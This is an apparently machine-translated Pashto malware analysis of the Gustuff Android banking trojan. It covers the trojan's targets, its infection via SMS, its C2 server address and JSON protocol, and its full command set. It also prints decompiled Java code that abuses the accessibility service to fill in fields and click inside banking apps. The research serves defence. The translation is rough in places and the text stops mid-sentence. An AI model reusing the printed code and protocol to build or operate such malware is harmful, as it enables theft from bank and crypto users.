څنګه د Android Trojan Gustuff ستاسو د حسابونو څخه کریم (فیټ او کریپټو) سکیم کوي

څنګه د Android Trojan Gustuff ستاسو د حسابونو څخه کریم (فیټ او کریپټو) سکیم کوي

یوازې بله ورځ ګروپ-IB خبر د ګرځنده Android Trojan Gustuff فعالیت په اړه. دا په ځانګړي ډول په نړیوالو بازارونو کې کار کوي، د 100 لویو بهرنیو بانکونو په پیرودونکو برید کوي، د ګرځنده 32 کریپټو والټونو کاروونکي، او همدارنګه د لوی ای کامرس سرچینې. مګر د ګسټف پراختیا کونکی د Bestoffer تر نوم لاندې د روسیې خبرې کوونکی سایبر جرم دی. تر دې وروستیو پورې، هغه د خپل ټروجن ستاینه وکړه "د پوهې او تجربې سره د خلکو لپاره یو جدي محصول."

په ګروپ-IB کې د ناوړه کوډ تحلیل متخصص ایوان پساریف د هغه په ​​​​څیړنه کې، هغه په ​​تفصیل سره خبرې کوي چې ګستف څنګه کار کوي او خطرونه یې څه دي.

ګستف د چا لپاره ښکار دی؟

ګسټف د بشپړ اتوماتیک دندو سره د مالویر نوي نسل پورې اړه لري. د پراختیا کونکي په وینا، Trojan د AndyBot مالویر یوه نوې او پرمختللې نسخه ګرځیدلې، کوم چې د نومبر 2017 راهیسې په Android تلیفونونو برید کوي او د مشهورو نړیوالو بانکونو او تادیاتو سیسټمونو ګرځنده غوښتنلیکونو په توګه د فشینګ ویب فارمونو له لارې پیسې غلا کوي. غوره وړاندیز راپور ورکړ چې د ګسټف بوټ کرایه قیمت په میاشت کې $ 800 و.

د ګسټف نمونې تحلیل ښودلې چې ټروجن په احتمالي ډول د لوی بانکونو ګرځنده غوښتنلیکونو په کارولو سره پیرودونکي په نښه کوي ، لکه بانک آف امریکا ، بانک آف سکاټلینډ ، JPMorgan ، ویلز فارګو ، کیپیټل ون ، TD بانک ، PNC بانک ، او همدارنګه کریپټو والټونه. Bitcoin Wallet، BitPay، Cryptopay، Coinbase، او داسې نور.

په اصل کې د کلاسیک بانکداري ټروجن په توګه رامینځته شوی ، په اوسني نسخه کې ګسټف د برید لپاره د احتمالي اهدافو لیست د پام وړ پراخه کړی. د بانکونو ، فنټیک شرکتونو او کریپټو خدماتو لپاره د Android غوښتنلیکونو سربیره ، ګسټف د بازار ځای غوښتنلیکونو ، آنلاین پلورنځیو ، تادیاتو سیسټمونو او فوري میسینجرونو کاروونکو لپاره دی. په ځانګړې توګه، PayPal، West Union، eBay، Walmart، Skype، WhatsApp، Gett Taxi، Revolut او نور.

د ننوتلو نقطه: د ډله ایز انفیکشن لپاره محاسبه

ګسټف د APKs لینکونو سره د SMS میلونو له لارې Android سمارټ فونونو ته د ننوتلو "کلاسیک" ویکتور لخوا مشخص شوی. کله چې د انډرایډ وسیله د سرور په قومانده کې د Trojan سره اخته کیږي، ګستف ممکن نور د اخته شوي تلیفون د اړیکو ډیټابیس یا د سرور ډیټابیس له لارې خپور شي. د ګسټف فعالیت د ډله ایز انفیکشن او د دې د چلونکو سوداګرۍ اعظمي پانګوونې لپاره ډیزاین شوی - دا د قانوني ګرځنده بانکي غوښتنلیکونو او کریپټو والټونو کې یو ځانګړی "آتو ډک" فعالیت لري ، کوم چې تاسو ته اجازه درکوي د پیسو غلا ګړندۍ او اندازه کړئ.

د ټروجن مطالعې ښودلې چې د اتوماتیک فعالیت فعالیت په دې کې د لاسرسي خدمت په کارولو سره پلي شوی ، د معلولیت لرونکو خلکو لپاره خدمت. ګسټف لومړی ټروجن نه دی چې د دې Android خدمت په کارولو سره د نورو غوښتنلیکونو کړکۍ عناصرو سره د متقابل عمل پروړاندې محافظت په بریالیتوب سره بای پاس کوي. په هرصورت ، د موټر ډکونکي سره په ترکیب کې د لاسرسي خدماتو کارول لاهم خورا نادر دي.

د قرباني تلیفون ته ډاونلوډ کولو وروسته ، ګسټف د لاسرسي خدماتو په کارولو سره د دې وړتیا لري چې د نورو غوښتنلیکونو کړکۍ عناصرو سره اړیکه ونیسي (بانکنګ ، کریپټو کرنسی ، او همدارنګه د آنلاین پیرود لپاره غوښتنلیکونه ، پیغام رسولو او نور) ، د برید کونکو لپاره اړین عملونه ترسره کوي. . د مثال په توګه، د سرور په قومانده کې، ټروجن کولی شي تڼۍ فشار کړي او په بانکي غوښتنلیکونو کې د متن ساحو ارزښتونه بدل کړي. د لاسرسي خدماتو میکانیزم کارول ټروجن ته اجازه ورکوي چې د بانکونو لخوا د مخکیني نسل ګرځنده ټروجنونو سره د مقابلې لپاره کارول شوي امنیتي میکانیزمونو ته مخه کړي ، په بیله بیا د Android OS په نوي نسخو کې د ګوګل لخوا پلي شوي امنیت پالیسۍ کې بدلونونه. پدې توګه ، ګسټف "پوهیږي چې څنګه" د ګوګل پروټیک محافظت غیر فعال کړي: د لیکوال په وینا ، دا فنکشن په 70٪ قضیو کې کار کوي.

څنګه د Android Trojan Gustuff ستاسو د حسابونو څخه کریم (فیټ او کریپټو) سکیم کوي

ګسټف کولی شي جعلي PUSH خبرتیاوې هم د مشروع ګرځنده غوښتنلیکونو شبیانو سره ښکاره کړي. کاروونکی د PUSH خبرتیا باندې کلیک کوي او د سرور څخه ډاونلوډ شوي فشینګ کړکۍ ګوري ، چیرې چې هغه غوښتل شوي بانک کارت یا کریپټو والټ ډیټا ته ننوځي. په بل ګستف سناریو کې، هغه غوښتنلیک چې په استازیتوب یې د PUSH خبرتیا ښودل شوې وه پرانستل کیږي. په دې حالت کې، مالویر، د سرور څخه د لاسرسي خدماتو له لارې امر کولی شي د جعلي معاملو لپاره د بانکي غوښتنلیک فارم ډک کړي.

د ګستف په فعالیت کې سرور ته د اخته شوي وسیلې په اړه د معلوماتو لیږل ، د SMS پیغامونو لوستلو/لیږلو وړتیا ، د USSD غوښتنې لیږل ، د SOCKS5 پراکسي پیل کول ، د لینک تعقیب ، د فایلونو لیږل (د سندونو عکس سکین ، سکرین شاټونه ، عکسونه) شامل دي. سرور، وسیله د فابریکې ترتیباتو ته بیا تنظیم کړئ.

د مالویر تحلیل

د ناوړه غوښتنلیک نصبولو دمخه، د Android OS کارونکي ته یوه کړکۍ ښیې چې د ګسټف لخوا غوښتل شوي حقونو لیست لري:

څنګه د Android Trojan Gustuff ستاسو د حسابونو څخه کریم (فیټ او کریپټو) سکیم کوي
غوښتنلیک به یوازې د کارونکي رضایت ترلاسه کولو وروسته نصب شي. د غوښتنلیک په لاره اچولو وروسته، ټروجن به کاروونکي ته یوه کړکۍ وښيي:

څنګه د Android Trojan Gustuff ستاسو د حسابونو څخه کریم (فیټ او کریپټو) سکیم کوي
وروسته لدې چې دا به خپل آیکون لرې کړي.

د لیکوال په وینا ، ګسټف د FTT څخه د پیکر لخوا بسته شوی. د پیل کولو وروسته، غوښتنلیک په دوره توګه د امرونو ترلاسه کولو لپاره د CnC سرور سره اړیکه نیسي. ډیری فایلونه چې موږ معاینه کړي د IP پته د کنټرول سرور په توګه کارول کیږي 88.99.171[.]105 (له دې وروسته به موږ دا په ګوته کړو <%CnC%>).

د پیل کولو وروسته، برنامه سرور ته د پیغامونو لیږل پیل کوي http://<%CnC%>/api/v1/get.php.

تمه کیږي چې ځواب به په لاندې شکل کې JSON وي:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

هرځله چې غوښتنلیک ته لاسرسی ومومي ، دا د اخته شوي وسیلې په اړه معلومات لیږي. د پیغام بڼه لاندې ښودل شوې. د یادولو وړ ده چې ساحې بشپړ, اضافي, غوښتنلیکونه и اجازه - اختیاري او یوازې د CnC څخه د غوښتنې قوماندې په صورت کې لیږل کیږي.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

د ترتیب کولو ډاټا ذخیره کول

ګسټف په عملیاتي ډول مهم معلومات د غوره توب فایل کې ذخیره کوي. د فایل نوم، او همدارنګه په دې کې د پیرامیټونو نومونه، د تار څخه د MD5 مجموعې محاسبه کولو پایله ده 15413090667214.6.1<%name%>چیرته <%نوم%> - د نوم لومړنی ارزښت. د نوم تولید فنکشن پیتون تشریح:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

په لاندې ډول به موږ دا په ګوته کړو نوم پیدا کونکی.
نو د لومړي فایل نوم دا دی: نوم پیدا کونکی("API_SERVER_LIST")، دا د لاندې نومونو سره ارزښتونه لري:

متغیر نوم ارزښت
نوم پیدا کونکی("API_SERVER_LIST") د صف په شکل کې د CnC پتې لیست لري.
نوم پیدا کونکی("API_SERVER_URL") د CnC پته لري.
نوم پیدا کونکی("SMS_UPLOAD") بیرغ د ډیفالټ لخوا ټاکل شوی. که بیرغ ترتیب شوی وي، CnC ته د SMS پیغامونه لیږي.
نوم پیدا کونکی("SMS_ROOT_NUMBER") د تلیفون شمیره چې د اخته شوي وسیلې لخوا ترلاسه شوي SMS پیغامونه به لیږل کیږي. ډیفالټ ناپاک دی.
نوم پیدا کونکی("SMS_ROOT_NUMBER_RESEND") بیرغ د ډیفالټ لخوا پاک شوی. که نصب شي، کله چې یو اخته وسیله یو SMS ترلاسه کوي، دا به د روټ شمیرې ته واستول شي.
نوم پیدا کونکی("DEFAULT_APP_SMS") بیرغ د ډیفالټ لخوا پاک شوی. که دا بیرغ ترتیب شوی وي، نو غوښتنلیک به د راتلونکو SMS پیغامونه پروسس کړي.
نوم پیدا کونکی("DEFAULT_ADMIN") بیرغ د ډیفالټ لخوا پاک شوی. که بیرغ ترتیب شوی وي، غوښتنلیک د مدیر حقونه لري.
نوم پیدا کونکی("DEFAULT_ACCESSIBILITY") بیرغ د ډیفالټ لخوا پاک شوی. که بیرغ ترتیب شوی وي، د لاسرسي خدمت کارولو خدمت روان دی.
نوم پیدا کونکی("APPS_CONFIG") د JSON څیز چې د عملونو لیست لري چې باید ترسره شي کله چې د ځانګړي غوښتنلیک سره د لاسرسي پیښه رامینځته کیږي.
نوم پیدا کونکی("APPS_INSTALLED") په وسیله کې نصب شوي غوښتنلیکونو لیست ذخیره کوي.
نوم پیدا کونکی("IS_FIST_RUN") بیرغ په لومړي پیل کې بیا تنظیم شوی.
نوم پیدا کونکی("UNIQUE_ID") یو ځانګړی پیژندونکی لري. تولید شوی کله چې بوټ د لومړي ځل لپاره پیل شي.

د سرور څخه د امرونو پروسس کولو ماډل

غوښتنلیک د CnC سرورونو پته د کوډ شوي سرې په بڼه ذخیره کوي اساس 85 کرښې د CnC سرورونو لیست د مناسب کمانډ په ترلاسه کولو سره بدل کیدی شي، په دې حالت کې پتې به د لومړیتوب فایل کې زیرمه شي.

د غوښتنې په ځواب کې، سرور غوښتنلیک ته کمانډ لیږي. د یادونې وړ ده چې کمانډونه او پیرامیټونه د JSON بڼه کې وړاندې شوي. غوښتنلیک کولی شي لاندې کمانډونه پروسس کړي:

ټیم شرح
فارورډ پیل د CnC سرور ته د اخته شوي وسیلې لخوا ترلاسه شوي SMS پیغامونو لیږل پیل کړئ.
فارورډ سټاپ د CnC سرور ته د اخته شوي وسیلې لخوا ترلاسه شوي SMS پیغامونو لیږل بند کړئ.
ussdRun د USSD غوښتنه اجرا کړئ. هغه شمیره چې تاسو ورته اړتیا لرئ د USSD غوښتنه وکړئ د JSON په ساحه کې "نمبر" کې موقعیت لري.
ایس ایم ایس واستوئ یو ایس ایم ایس پیغام واستوئ (که اړتیا وي، پیغام په برخو ویشل شوی دی). د پیرامیټر په توګه، کمانډ د JSON څیز اخلي چې ساحې لري "تر" - د منزل شمیره او "باډي" - د پیغام بدن.
SmsAb واستوئ د ایس ایم پیغامونه واستوئ (که اړتیا وي، پیغام په برخو ویشل شوی دی) د اخته شوي وسیلې د اړیکو لیست کې هرڅوک. د پیغامونو لیږلو ترمنځ وقفه 10 ثانیې ده. د پیغام بدن د JSON په ډګر کې دی "باډي"
SmsMass واستوئ د کمانډ پیرامیټونو کې مشخص شوي تماسونو ته د SMS پیغامونه واستوئ (که اړتیا وي ، پیغام په برخو ویشل شوی دی). د پیغامونو لیږلو ترمنځ وقفه 10 ثانیې ده. د پیرامیټر په توګه، کمانډ د JSON سرې (د "sms" ساحه) اخلي، چې عناصر یې "تر" ساحې لري - د منزل شمیره او "باډي" - د پیغام بدن.
بدلون سرور دا کمانډ کولی شي د کیلي "url" سره د پیرامیټر په توګه ارزښت واخلي - بیا بوټ به د نوم جنریټر ("SERVER_URL") ، یا "سري" ارزښت بدل کړي - بیا بوټ به سرې نوم جنریټر ته ولیکي ("API_SERVER_LIST") په دې توګه، غوښتنلیک د CnC سرورونو پته بدلوي.
admin شمیره کمانډ د روټ شمیرې سره کار کولو لپاره ډیزاین شوی. کمانډ د لاندې پیرامیټونو سره د JSON څیز مني: "نمبر" - ترلاسه شوي ارزښت ته نوم جنریټر ("ROOT_NUMBER") بدل کړئ ، "بیا لیږل" - نوم جنریټر بدل کړئ ("SMS_ROOT_NUMBER_RESEND") ، "sendId" - nameGenerator ته واستوئ ("ROOT_NUMBER") منفرد ID.
تازه معلومات سرور ته د اخته شوي وسیلې په اړه معلومات واستوئ.
ډیټا پاک کړئ کمانډ د کارونکي ډیټا حذف کولو لپاره دی. د دې پورې اړه لري چې غوښتنلیک په کوم نوم پیل شوی و ، یا دا ډاټا په بشپړ ډول د وسیلې ریبوټ (لومړني کارونکي) سره له مینځه وړل کیږي ، یا یوازې د کارونکي ډیټا حذف کیږي (ثانوي کارونکي).
socksStart د پراکسي ماډل پیل کړئ. د ماډل عملیات په جلا برخه کې تشریح شوي.
جرابې د پراکسي ماډل بند کړئ.
لینک خلاص کړئ لینک تعقیب کړئ. لینک د JSON پیرامیټر کې د "url" کیلي لاندې موقعیت لري. "android.intent.action.VIEW" د لینک خلاصولو لپاره کارول کیږي.
اپلوډ ټولSms د وسیلې لخوا ترلاسه شوي ټول SMS پیغامونه سرور ته واستوئ.
ټول عکسونه پورته کړئ یو آر ایل ته د اخته شوي وسیلې څخه عکسونه واستوئ. URL د پیرامیټر په توګه راځي.
اپلوډ فایل د اخته شوي وسیلې څخه یو آر ایل ته فایل واستوئ. URL د پیرامیټر په توګه راځي.
د تلیفون شمیرې پورته کړئ ستاسو د اړیکو لیست څخه سرور ته د تلیفون شمیرې واستوئ. که چیرې د "ab" کلیدي سره د JSON څیز ارزښت د پیرامیټر په توګه ترلاسه شي ، نو غوښتنلیک د تلیفون کتاب څخه د اړیکو لیست ترلاسه کوي. که چیرې د JSON څیز د کلیدي "sms" سره د پیرامیټر په توګه ترلاسه شي ، نو غوښتنلیک د SMS پیغامونو لیږونکو څخه د اړیکو لیست لولي.
بدلون آرشیف غوښتنلیک د پتې څخه فایل ډاونلوډ کوي چې د "url" کیلي په کارولو سره د پیرامیټر په توګه راځي. ډاونلوډ شوی فایل د "archive.zip" نوم سره خوندي شوی. غوښتنلیک به بیا فایل خلاص کړي ، په اختیاري توګه د آرشیف پاسورډ "b5jXh37gxgHBrZhQ4j3D" په کارولو سره. بې زپ شوي فایلونه په [بهرني ذخیره]/hgps لارښود کې خوندي شوي. پدې لارښود کې ، غوښتنلیک ویب جعلي ذخیره کوي (لاندې تشریح شوي).
کړنې کمانډ د عمل خدمت سره کار کولو لپاره ډیزاین شوی، کوم چې په جلا برخه کې تشریح شوی.
ازموینه هیڅ نه کول.
کښته کول کمانډ د ریموټ سرور څخه فایل ډاونلوډ کولو او د "ډاونلوډونو" لارښود ته د خوندي کولو لپاره دی. د URL او فایل نوم د پیرامیټر په توګه راځي، د JSON پیرامیټر اعتراض کې ساحې په ترتیب سره: "url" او "fileName".
لرې د "ډاونلوډ" لارښود څخه فایل لرې کوي. د فایل نوم د JSON پیرامیټر کې د "فایل نوم" کیلي سره راځي. د معیاري فایل نوم "tmp.apk" دی.
خبرتیا د مدیریت سرور لخوا تعریف شوي توضیحاتو او سرلیک متنونو سره خبرتیا وښایاست.

د کمانډ بڼه خبرتیا:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

د څیړنې لاندې د فایل لخوا رامینځته شوي خبرتیا په ساحه کې مشخص شوي غوښتنلیک لخوا رامینځته شوي خبرتیاو سره ورته ښکاري اپلیکیشن. که د ساحې ارزښت OpenApp - ریښتیا، کله چې یو خبرتیا پرانیستل شي، په ساحه کې مشخص شوی غوښتنلیک په لاره اچول کیږي اپلیکیشن. که د ساحې ارزښت OpenApp - دروغ، بیا:

  • د فشینګ کړکۍ پرانستل کیږي، چې منځپانګې یې د ډایرکټر څخه ډاونلوډ شوي دي <%بهرنۍ ذخیره%>/hgps/<%د فایل نوم%>
  • د فشینګ کړکۍ پرانستل کیږي، چې منځپانګې یې له سرور څخه ډاونلوډ شوي <%url%>?id=<%Bot id%>&app=<%د غوښتنلیک نوم%>
  • د فشینګ کړکۍ خلاصیږي ، د ګوګل پلی کارت په څیر ، د کارت توضیحاتو ته د ننوتلو فرصت سره.

غوښتنلیک د هرې کمانډ پایله لیږي <%CnC%>set_state.php په لاندې شکل کې د JSON څیز په توګه:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

د عمل خدمت
د امرونو لیست چې د غوښتنلیک پروسې پکې شامل دي د عمل. کله چې کمانډ ترلاسه شي، د کمانډ پروسس کولو ماډل د غزیدلي قوماندې اجرا کولو لپاره دې خدمت ته لاسرسی لري. خدمت د JSON څیز د پیرامیټر په توګه مني. خدمت کولی شي لاندې حکمونه اجرا کړي:

1. PARAMS_ACTION - کله چې داسې قومانده ترلاسه کوي، خدمت لومړی د JSON پیرامیټر څخه د ډول کیلي ارزښت ترلاسه کوي، کوم چې په لاندې ډول کیدی شي:

  • د خدمت معلومات - فرعي کمانډ د JSON پیرامیټر څخه د کیلي په واسطه ارزښت ترلاسه کوي شامل نه مهم. که بیرغ ریښتیا وي، غوښتنلیک بیرغ ټاکي FLAG_ISOLATED_PROCESS د لاسرسي خدمت په کارولو سره خدمت ته. پدې توګه به خدمت په جلا پروسه کې پیل شي.
  • د ريښي - د کړکۍ په اړه سرور معلومات ترلاسه کړئ او واستوئ چې دا مهال په تمرکز کې دي. غوښتنلیک د AccessibilityNodeInfo ټولګي په کارولو سره معلومات ترلاسه کوي.
  • اداری - د مدیر حقونو غوښتنه وکړئ.
  • ځنډ - د "ډاټا" کیلي لپاره په پیرامیټر کې مشخص شوي ملیسیکنډونو شمیر لپاره د عمل خدمت ځنډول.
  • کړکۍ - کارونکي ته د لیدلو وینډوز لیست واستوئ.
  • لګول - اپلیکیشن په اخته شوي وسیله نصب کړئ. د آرشیف کڅوړې نوم د "فایل نوم" کیلي کې دی. آرشیف پخپله د ډاونلوډ لارښود کې موقعیت لري.
  • نړۍ - فرعي کمانډ د اوسني کړکۍ څخه نیویګ کولو لپاره دی:
    • د چټک ترتیباتو مینو کې
    • بیرته
    • کور
    • خبرتیاو ته
    • د وروستي پرانیستل شوي غوښتنلیک کړکۍ ته

  • پیل - اپلیکیشن پیل کړئ. د غوښتنلیک نوم د کیلي لخوا د پیرامیټر په توګه راځي معلومات.
  • غږونه - د غږ حالت خاموش ته بدل کړئ.
  • خلاص کړئ - د سکرین او کیبورډ بیک لایټ په بشپړ روښانتیا بدلوي. غوښتنلیک دا کړنه د WakeLock په کارولو سره ترسره کوي، د تار [Application lable]: INFO د ټګ په توګه مشخص کوي
  • permission overlay — فنکشن نه دی پلی شوی (د کمانډ اجرا کولو ځواب {"message":"not support"} or {"message":"low sdk"})
  • اشاره — فنکشن نه دی پلی شوی (د کمانډ اجرا کولو ځواب {"message":"not support"} or {"message":"Low API"})
  • پرېښلې - دا کمانډ د غوښتنلیک لپاره د اجازې غوښتنه کولو لپاره اړین دی. په هرصورت، د پوښتنې فعالیت نه دی پلي شوی، نو کمانډ بې معنی دی. د غوښتل شوي حقونو لیست د "اجازې" کیلي سره د JSON سرې په توګه راځي. معیاري لیست:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • دابرخه - د فشینګ کړکۍ ښکاره کړئ. د سرور څخه راځي پیرامیټر پورې اړه لري، غوښتنلیک ممکن لاندې فشینګ وینډوز ښکاره کړي:
    • د فشینګ کړکۍ وښایاست چې مینځپانګه یې په ډایرکټر کې په فایل کې لیکل شوي <%بهرنۍ لارښود%>/hgps/<%param_filename%>. د کړکۍ سره د کاروونکي متقابل عمل پایله به دې ته واستول شي <%CnC%>/records.php
    • د فشینګ کړکۍ وښایاست چې مینځپانګه یې له پتې څخه دمخه بار شوې وي <%url_param%>?id=<%bot_id%>&app=<%packagename%>. د کړکۍ سره د کاروونکي متقابل عمل پایله به دې ته واستول شي <%CnC%>/records.php
    • د فشینګ کړکۍ وښایاست چې د ګوګل پلی کارت په څیر پوښل شوی.

  • ايکټيو، - کمانډ د لاسرسي خدماتو په کارولو سره د نورو غوښتنلیکونو کړکۍ عناصرو سره تعامل لپاره ډیزاین شوی. په برنامه کې د متقابل عمل لپاره یو ځانګړی خدمت پلي شوی. د څیړنې لاندې غوښتنلیک کولی شي د وینډوز سره اړیکه ونیسي:
    • اوس مهال فعال دی. پدې حالت کې ، پیرامیټر د هغه شی ID یا متن (نوم) لري چې ورسره اړیکه ونیسئ.
    • د کمانډ اجرا کولو په وخت کې د کارونکي لیدل کیږي. غوښتنلیک د ID لخوا وینډوز غوره کوي.

    د توکو ترلاسه کول د لاسرسي نوډ معلومات د کړکۍ د ګټو عناصرو لپاره، غوښتنلیک، د پیرامیټونو پورې اړه لري، لاندې کړنې ترسره کولی شي:

    • تمرکز - د شیانو تمرکز.
    • کلیک - په یو څیز کلیک وکړئ.
    • actionId - د ID لخوا یو عمل ترسره کړئ.
    • setText - د یو څیز متن بدل کړئ. د متن بدلول په دوو لارو ممکن دي: یو عمل ترسره کړئ ACTION_SET_TEXT (که چیرې د اخته شوي وسیلې د Android نسخه له هغه څخه کوچنۍ یا مساوي وي لولیپپ)، یا په کلپ بورډ کې د تار په ایښودلو او په یوه څیز کې د پیسټ کولو سره (د زړو نسخو لپاره). دا کمانډ د بانکدارۍ غوښتنلیک کې د معلوماتو بدلولو لپاره کارول کیدی شي.

2. PARAMS_ACTIONS - هغه ته ورته PARAMS_ACTION، یوازې د JSON امرونو لړۍ راځي.

داسې بریښي چې ډیری خلک به علاقه ولري چې د بل غوښتنلیک کړکۍ عناصرو سره د متقابل عمل فعالیت څه ډول ښکاري. دا څنګه دا فعالیت په ګسټف کې پلي کیږي:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

د متن بدلولو فعالیت:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

په دې توګه، د کنټرول سرور سم ترتیب سره، ګسټف د بانکي غوښتنلیک کې د متن ساحې ډکولو توان لري او د لیږد بشپړولو لپاره اړین بټونو باندې کلیک وکړئ. ټروجن حتی غوښتنلیک ته ننوتلو ته اړتیا نلري — دا کافي ده چې د PUSH خبرتیا ښودلو لپاره کمانډ واستوئ او بیا دمخه نصب شوي بانکي غوښتنلیک خلاص کړئ. کارونکي به خپل ځان تصدیق کړي، وروسته لدې چې ګسټف به وکولی شي موټر ډک کړي.

د SMS پیغام پروسس کولو ماډل

غوښتنلیک د ایس ایم پیغامونو منلو لپاره د اخته شوي وسیلې لپاره د پیښې اداره کونکي نصبوي. د مطالعې لاندې غوښتنلیک کولی شي د آپریټر څخه حکمونه ترلاسه کړي، کوم چې د SMS پیغام په بدن کې راځي. حکمونه په بڼه کې راځي:

7!5=<%Base64 کوډ شوی کمانډ٪>

غوښتنلیک په ټولو راتلونکو SMS پیغامونو کې د تار لټون کوي ۷!۵=، کله چې یو تار کشف شي ، دا د بیس 64 څخه په آفسیټ 4 کې تار ډیکوډ کوي او کمانډ اجرا کوي. کمانډونه د CnC سره ورته دي. د اعدام پایله ورته شمیرې ته لیږل کیږي له کوم ځای څخه چې قومانده راغلې وه. د غبرګون بڼه:

7*5=<%Base64 د "result_code کمانډ"%> کوډ

په اختیاري توګه، غوښتنلیک کولی شي ټول ترلاسه شوي پیغامونه د روټ شمیرې ته واستوي. د دې کولو لپاره، د روټ شمیره باید د غوره توب فایل کې مشخص شي او د پیغام بیا راستنیدل بیرغ باید تنظیم شي. یو ایس ایم ایس پیغام د برید کونکي شمیرې ته په شکل کې لیږل کیږي:

<%له شمیرې٪> - <% وخت، بڼه: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

همدارنګه، په اختیاري توګه، غوښتنلیک کولی شي CnC ته پیغامونه واستوي. د SMS پیغام سرور ته د JSON بڼه کې لیږل کیږي:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

که بیرغ ورته ټاکل شوی وي نوم پیدا کونکی("DEFAULT_APP_SMS") - غوښتنلیک د SMS پیغام پروسس بندوي او د راتلونکو پیغامونو لیست پاکوي.

پراکسي ماډل

د مطالعې لاندې غوښتنلیک د بیک کنیک پراکسي ماډل لري (له دې وروسته د پراکسي ماډل په نوم یادیږي) ، کوم چې یو جلا ټولګي لري چې د ترتیب سره جامد ساحې پکې شاملې دي. د ترتیب کولو ډاټا په نمونه کې په روښانه بڼه ساتل کیږي:

څنګه د Android Trojan Gustuff ستاسو د حسابونو څخه کریم (فیټ او کریپټو) سکیم کوي

ټولې کړنې چې د پراکسي ماډل لخوا ترسره کیږي په فایلونو کې ننوتي دي. د دې کولو لپاره، په بهرني ذخیره کې غوښتنلیک د "logs" په نوم یو لارښود رامینځته کوي (د ترتیب په ټولګي کې د ProxyConfigClass.logsDir ساحه)، په کوم کې چې د لاګ فایلونه زیرمه شوي. ننوتل د نومونو سره په فایلونو کې پیښیږي:

